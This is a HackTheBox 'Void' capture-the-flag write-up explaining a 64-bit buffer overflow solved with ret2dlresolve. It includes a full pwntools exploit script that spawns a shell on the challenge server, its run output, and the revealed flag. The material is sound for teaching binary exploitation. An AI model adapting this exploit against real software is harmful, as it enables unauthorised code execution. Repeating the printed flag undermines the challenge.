pwnfreemedium

Void

hackthebox

Task: Exploit a 64-bit binary with buffer overflow but no output functions (only read() in PLT). Solution: Use ret2dlresolve technique via pwntools Ret2dlresolvePayload to craft fake ELF dynamic linker structures that trick _dl_runtime_resolve into resolving system("/bin/sh"), bypassing the need for a libc leak.

$ ls tags/ techniques/
rop_chainstack_pivotret2dlresolve

Void - HackTheBox

Description

64-bit ELF binary with a simple buffer overflow vulnerability. The challenge is that there are no output functions (puts/printf/write) in the binary - only read(). This makes traditional libc leaking impossible.

Binary properties:

  • 64-bit ELF
  • No PIE (fixed addresses)
  • No canary
  • Partial RELRO (GOT is writable)
  • NX enabled

Analysis

The vulnerable function is trivial:

void vuln() { char data[64]; read(0, data, 200); // reads 200 bytes into 64-byte buffer }

Offset calculation:

  • Buffer: 64 bytes
  • Saved RBP: 8 bytes
  • Return address at offset: 72 bytes

The problem: Without output functions, we cannot leak libc addresses for a traditional ret2libc attack.

Failed Approaches

  1. ret2csu + partial GOT overwrite to system() - Tried overwriting read@got with system using 3-byte partial overwrite. Theoretically should work but failed after 300+ attempts due to ASLR randomization.

  2. ret2csu + one-gadget (0xc9611) - One-gadget constraints weren't satisfied in the execution context.

  3. SROP - Too complex for this challenge, requires specific register setup.

Solution: ret2dlresolve

ret2dlresolve is the perfect technique when:

  • No libc leak is possible (no output functions)
  • Partial RELRO (GOT is writable)
  • Have read() to write arbitrary data to memory
  • No PIE (fixed addresses for structures)

How ret2dlresolve works

The dynamic linker resolves function addresses lazily. When a function is called for the first time, it goes through PLT -> GOT -> _dl_runtime_resolve(). We can craft fake structures (Elf64_Sym, Elf64_Rela) that tell the linker to resolve system instead of a legitimate function.

Exploit Strategy

  1. Use buffer overflow to execute ROP chain
  2. ROP chain calls read(0, bss_area) to write our crafted dlresolve structures
  3. Trigger ret2dlresolve to resolve system("/bin/sh")

Working Exploit

#!/usr/bin/env python3 """ Void - HackTheBox PWN Challenge ret2dlresolve exploit This technique tricks the dynamic linker into resolving a function that is not linked to the binary (like system). """ from pwn import * import sys context.binary = "./challenge/void" context.log_level = "info" elf = context.binary # Build ret2dlresolve payload rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\0"]) # ROP chain: # 1. read(0, dlresolve.data_addr) - read the dlresolve payload to memory # 2. ret (for stack alignment) # 3. ret2dlresolve - trigger the resolution and call system("/bin/sh") rop.read(0, dlresolve.data_addr) rop.raw(rop.ret[0]) # Stack alignment rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() print(f"[*] ROP chain length: {len(raw_rop)}") print(f"[*] dlresolve payload length: {len(dlresolve.payload)}") print(f"[*] dlresolve data_addr: {hex(dlresolve.data_addr)}") # Connect if len(sys.argv) > 1 and sys.argv[1] == "local": p = elf.process() else: p = remote("83.136.250.108", 48538) # Send overflow + ROP chain # Offset to return address is 72 bytes (64 buffer + 8 saved rbp) payload = b"A" * 72 + raw_rop print(f"[*] Sending payload ({len(payload)} bytes)...") p.send(payload) sleep(0.5) # Send dlresolve payload (will be read by the read() call in ROP chain) print(f"[*] Sending dlresolve payload...") p.send(dlresolve.payload) sleep(0.5) print("[+] Trying to get shell...") p.sendline(b"id") sleep(0.5) try: response = p.recv(timeout=2) print(f"[+] Response: {response}") if b"uid" in response: print("[+] Got shell!") p.sendline(b"cat flag*") print(p.recv(timeout=2)) p.interactive() except: print("[-] No response, trying interactive...") p.interactive()

Execution Output

[*] ROP chain length: 88
[*] dlresolve payload length: 97
[*] dlresolve data_addr: 0x404e00
[+] Opening connection to 83.136.250.108 on port 48538: Done
[*] Sending payload (160 bytes)...
[*] Sending dlresolve payload...
[+] Response: b'uid=100(ctf) gid=101(ctf) groups=101(ctf)\n'
[+] Got shell!
b'HTB{pwnt00l5_h0mep4g3_15_u54ful}\n'

Key Indicators

Use ret2dlresolve when:

  • No output functions available (puts/printf/write)
  • Only read() or similar input function in PLT
  • Partial RELRO (not Full RELRO)
  • No PIE or PIE leak available
  • Need to call functions not in PLT (like system)

Key Learnings

  1. ret2dlresolve is the go-to technique when there's no libc leak possible and only read() is available
  2. pwntools makes it trivial with Ret2dlresolvePayload class - no need to manually craft ELF structures
  3. The technique works because we can write arbitrary data to memory and the dynamic linker trusts the structures we craft
  4. Partial RELRO is key - Full RELRO would prevent this attack

References

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups